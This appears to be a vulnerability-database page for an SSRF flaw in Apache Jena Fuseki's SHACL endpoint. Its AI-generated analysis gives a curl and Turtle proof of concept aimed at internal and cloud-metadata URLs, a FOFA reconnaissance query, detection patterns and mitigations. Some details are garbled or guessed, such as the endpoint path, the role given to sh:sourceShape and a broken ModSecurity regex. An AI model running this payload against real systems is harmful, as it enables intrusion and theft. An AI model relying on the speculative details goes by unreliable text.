CVE Professor
/
All CVEs
CVE-2026-86155

CVE-2026-86155 — Apache Software Foundation Apache Jena Fuseki — CWE-918

CRITICAL CVSS 10 NVD

A vulnerability in Apache Jena Fuseki in the SHACL validation functionality cause server side request forgery (SSRF). This issue affects Apache Jena Fuseki: through 6.2.0. Users are recommended to upgrade to version 6.3.0, which fixes the issue.

A vulnerability in Apache Jena Fuseki in the SHACL validation functionality cause server side request forgery (SSRF). This issue affects Apache Jena Fuseki: through 6.2.0. Users are recommended to upgrade to version 6.3.0, which fixes the issue.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
Apache Jena Fuseki (up to 6.2.0) exposes a SHACL validation endpoint that accepts user‑supplied SHACL shapes. The implementation does not validate or sanitize the sh:sourceShape (or any other property that can contain a URI) before the server attempts to dereference it. As a result, an attacker can inject an arbitrary HTTP/HTTPS/FTP/FILE URL into the shape, causing the Fuseki server to perform an outbound request to that URL. This is a classic Server‑Side Request Forgery (SSRF) flaw (CWE‑918).

Why it matters

  • No authentication or authorization is required (PR:N, AU:N).

  • The attack requires no user interaction (UI:N).

  • The SSRF can reach any network resource reachable from the Fuseki host, including internal services, cloud metadata endpoints, or even the host’s own loopback interface.

  • The CVSS vector (AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) reflects that an attacker can compromise confidentiality, integrity, and availability of the target system and potentially any downstream services.

  • ⚡ Attack Chain

    NOTE: The exact URI of the SHACL endpoint is not specified in the CVE text. The following example uses the canonical Fuseki endpoint /shacl with a query parameter graph. If your deployment uses a different path or query format, the same principle applies.
    StepWhat happensPractical example
    1. Discovery & ReconnaissanceThe attacker scans for a running Fuseki instance and determines the version.curl -I http://target.example.com/shacl → Fuseki/6.2.0 in the Server header.
    2. ExploitationThe attacker crafts a SHACL shape that contains an external URI. Fuseki will fetch that URI during validation.PoC (illustrative)<br>curl -X POST http://target.example.com/shacl?graph=http://example.org/graph \<br> -H "Content-Type: text/turtle" \<br> -d '@shacl_shape.ttl'<br>Where shacl_shape.ttl contains:<br>@prefix sh: <http://www.w3.org/ns/shacl#> .<br><http://example.org/shape> a sh:NodeShape ;<br> sh:targetClass <http://example.org/Thing> ;<br> sh:sourceShape <http://internal.example.com/secret> .
    3. Post‑exploitationThe SSRF can be used to:<br>• Probe internal network (e.g., http://127.0.0.1:8080/admin).<br>• Retrieve sensitive data (e.g., http://169.254.169.254/latest/meta-data/).<br>• Trigger actions on internal services (e.g., send a request to an internal API that performs privileged operations).<br>• Pivot to other hosts via internal IPs.Example: After the shape is processed, the attacker observes a new outbound request in Fuseki logs to http://127.0.0.1:8080/admin. The attacker then uses that endpoint to create a new admin user, gaining full control of the Fuseki instance.

    Detailed PoC (illustrative)

    # 1. Create a SHACL shape that references an internal URL
    cat > shape.ttl <<'EOF'
    @prefix sh: <http://www.w3.org/ns/shacl#> .
    @prefix ex: <http://example.org/> .
    
    ex:shape a sh:NodeShape ;
        sh:targetClass ex:Thing ;
        sh:sourceShape <http://127.0.0.1:8080/admin> .
    EOF
    
    # 2. POST the shape to the SHACL endpoint
    curl -X POST "http://target.example.com/shacl?graph=http://example.org/graph" \
         -H "Content-Type: text/turtle" \
         --data-binary @shape.ttl
    What happens?
    Fuseki parses the shape, sees the sh:sourceShape URI, and performs an HTTP GET to http://127.0.0.1:8080/admin. The response (or even a 404) is returned to the attacker, proving that the SSRF worked.

    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (VC:H)The attacker can read any data exposed by internal services (e.g., database credentials, internal APIs, cloud metadata).
    Integrity (VI:H)By accessing internal endpoints that modify state (e.g., admin APIs), the attacker can alter data or configuration.
    Availability (VA:H)Repeated SSRF requests can exhaust network resources or trigger denial‑of‑service on internal services.
    Scope (SC:H)The vulnerability can affect the entire organization’s internal network, not just the Fuseki instance.
    Impact on other assets (SI:H / SA:H)If the attacker pivots to other hosts, the impact can cascade to other critical systems.

    Practical consequences

  • Data exfiltration: Pulling secrets from internal services or cloud metadata endpoints.

  • Privilege escalation: Accessing internal admin interfaces to create privileged accounts.

  • Lateral movement: Using the SSRF to reach other internal hosts and expand the attack surface.

  • Service disruption: Overloading internal services with repeated requests.

  • 🛡️ Remediation & Mitigation

    1. Patch

    AffectedFixed
    Apache Jena Fuseki 6.0.0 – 6.2.06.3.0 (released 24‑Nov‑2026)

    Recommendation: Upgrade to Fuseki 6.3.0 or later. If an upgrade is not immediately possible, apply the following mitigations.

    2. Workarounds

    MitigationHow to implement
    Disable the SHACL endpointRemove or comment out the /shacl route in the Fuseki configuration (fuseki.ttl or fuseki.conf).
    Restrict outbound trafficUse firewall rules to block outbound HTTP/HTTPS from the Fuseki host to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
    WAF / ModSecurity ruleAdd a rule that rejects any SHACL payload containing external URLs. Example (ModSecurity 2.x):<br>SecRule REQUEST_URI "@beginsWith /shacl" "phase:2,chain,block,msg:'SSRF via SHACL'<br>SecRule REQUEST_BODY "@rx <http://https://ftp://file://127\.0\.0\.110\.172\.16\.192\.168\."
    Application‑level validationIf you control the Fuseki source, patch the SHACL parser to reject URIs that are not in a whitelist of allowed domains.

    3. Detection

    IndicatorLog pattern
    Outbound HTTP request to internal IPGET http://127.0.0.1:8080/admin
    Multiple requests to 169.254.169.254GET http://169.254.169.254/latest/meta-data/
    Unusual sh:sourceShape URI in POST bodysh:sourceShape <http://.*>
    HTTP 200/404 responses from internal services in Fuseki logsFuseki: HTTP GET to http://10.0.0.5/...

    Sample log snippet

    [2026-11-24 12:34:56] INFO  Fuseki: Received SHACL POST /shacl?graph=http://example.org/graph
    [2026-11-24 12:34:56] INFO  Fuseki: Fetching external shape from http://127.0.0.1:8080/admin
    [2026-11-24 12:34:56] INFO  Fuseki: Received 200 OK from http://127.0.0.1:8080/admin

    ⚠️ Urgency

  • CVSS score: 10.0 (Critical) – no authentication, no user interaction, high impact.
  • Exploit complexity: Low – the PoC requires only a crafted POST request.
  • CISA KEV: No – but the impact is still severe.
  • Recommendation: Immediate patching is required. If a patch cannot be applied within 24 h, implement the firewall and WAF mitigations above and disable the SHACL endpoint until the upgrade can be performed.

[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Apache Software Foundation Apache Jena Fuseki"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Apache Software Foundation:Apache Jena Fuseki
References & Advisories (2)
Related CVEs
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
8.7
CVE-2026-130019
When a table is loaded or committed, Polaris read the table metadata file from the table's own storage and use
7.7
CVE-2026-129974
When a table was renamed into a different namespace, Polaris did not validate the table's stored locations aga
6.1
CVE-2026-130017
When a table is dropped with purge, and when old metadata files are deleted after a commit (write.metadata.del
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s